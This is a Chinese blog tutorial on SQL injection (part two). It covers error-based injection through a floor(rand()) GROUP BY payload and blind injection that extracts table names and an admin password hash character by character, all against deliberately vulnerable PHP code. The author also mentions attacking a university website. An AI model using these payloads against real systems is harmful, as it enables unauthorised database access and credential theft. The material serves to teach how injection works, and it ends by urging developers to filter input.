浅谈Web安全:SQL查询注入(二)

浅谈Web安全:SQL查询注入(二)

接上篇:浅谈Web安全:SQL查询注入(一)

实例4.利用报错信息注入

先简单的说说原理:MySQL中,是不允许将rand()用于ORDER BYGROUP BY的。一旦使用,就会产生错误。显错注入正是由此产生

很多时候,我们都会将SQL操作进行封装:

<?php
class sql {
    private $conn;
    public function __construct () {
    //略去连接部分
    }
    public function query ($sql) {
        $r=mysqli_query($this->conn,$sql);
        if (!$r) {
            $this->Error($sql);
        }
    }
    public function Error ($sql) {
        echo 'MySQL Error<br>SQL:',$sql,'<br>Errinfo:',mysqli_error($this->conn);
        exit;
    }
}
?>

这样做确实比前面的几个例子更加规范,也更加适合修改和调试。不过,显错信息却是非常重要的一个信息。现在,我们来试试,php代码同实例1。提交:

article.php?
id=1 AND 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b --

此时,页面会提示错误:Duplicate entry '1root@localhost' for key 'group_key'

没错,select user()被成功执行并且有回显。也就是说,我们将select user()改为其他查询语句,就可以得到我们希望的结果

PS:有点朋友可能要问,既然有像实例1一样的漏洞,还要显错注入干嘛呢?有的时候,一个参数会带入多个SQL语句查询,其中一个可能合法,但另一个就会不合法,也就不能直接查询出我们需要的结果,因此才有了显错注入。我前些时候日电子科大的站的时候就遇到过(PS:各位可以到WooYun围观,地址:这里

实例5.盲注

上演示代码,一个验证用户名是否存在的东西:

<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$sql="SELECT * FROM `user` WHERE user = '$user'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result) {
    echo '用户名已存在';
} else {
    echo '用户名不存在';
}

很明显user是存在注入点的,不过,我们可没办法像之前所举的例子一样进行查询注入或者显错注入了。现在还有一个办法,就是盲注

PS:这里又分了两种情况,一种是我们要得到的数据和原有的语句在同一个表内,一种是没有。因为没有更为复杂,所以我以没有为例

现在来判断表名:admin' and exists(select * from admin) --

如果此句返回了正常,则存在表admin,否则就继续猜吧~(PS:这里是一种通用的做法,也就是适用于MySQL、Access等多种数据库。如果是MySQL,因为其保存了数据库结构、表结构,会更加简单,待会会特别介绍一下)

然后判断字段:admin' and exists(select username from admin) --。RP不错的话,返回正常,则admin表存在username字段

接下来判断长度(假设我们之前已经确定admin表存在username和password两个字段):admin' and length((select password from admin limit 0,1))=32 --

返回正常,代表password长度为32(多半就是md5加密了)如果返回“不存在”,那就修改32,直到正常为止

接下来再一位一位的判断(PS:此方法在MySQL下是可用的。其他数据库下没有测试。印象中Access不是这种方法):

admin' and  left((select password from admin limit 0,1),1)='2' --
admin' and  left((select password from admin limit 0,1),2)='21' --
admin' and  left((select password from admin limit 0,1),3)='212' --
admin' and  left((select password from admin limit 0,1),4)='2123' --
//中间略去N句
admin' and  left((select password from admin limit 0,1),31)='21232f297a57a5a743894a0e4a801fc' --
admin' and  left((select password from admin limit 0,1),32)='21232f297a57a5a743894a0e4a801f3' --

最后得到密码是21232f297a57a5a743894a0e4a801fc3,用同样的方法得到username字段的数据,也就可以去登录了

MySQL下我有特别的技巧

MySQL下,可以这样猜解表名:

admin' and  length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1))=5 --
//长度是五位
admin' and  left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),1)='a' --
admin' and  left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),2)='ad' --
admin' and  left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),3)='adm' --
admin' and  left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),4)='admi' --
admin' and  left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),5)='admin' --

有些时候,这样会比前面麻烦一点,不过这样盲注成功率是100%,前面纯粹靠脸。猜解字段名的方法类似,只不过是查询information_schema.columns表,具体结构你可以自己安装个MySQL然后看看

总结

一般情况下,我们更喜欢直接的查询注入,因为最直观。盲注完全是“猜”,RP好可能比普通方法还快,RP差,几个小时都不一定能跑出表名

查询篇基本上就是这些内容了。因为是“浅谈”,所以我没有每个都详细的分析,都是讲的基本情况和方法。WooYun还有关于利用insert,update和delete注入获取数据的文章,有兴趣的朋友可以去看看

最后还是提醒大家:写程序的时候,记得做好过滤。WAF、安全狗什么的,不要太过依赖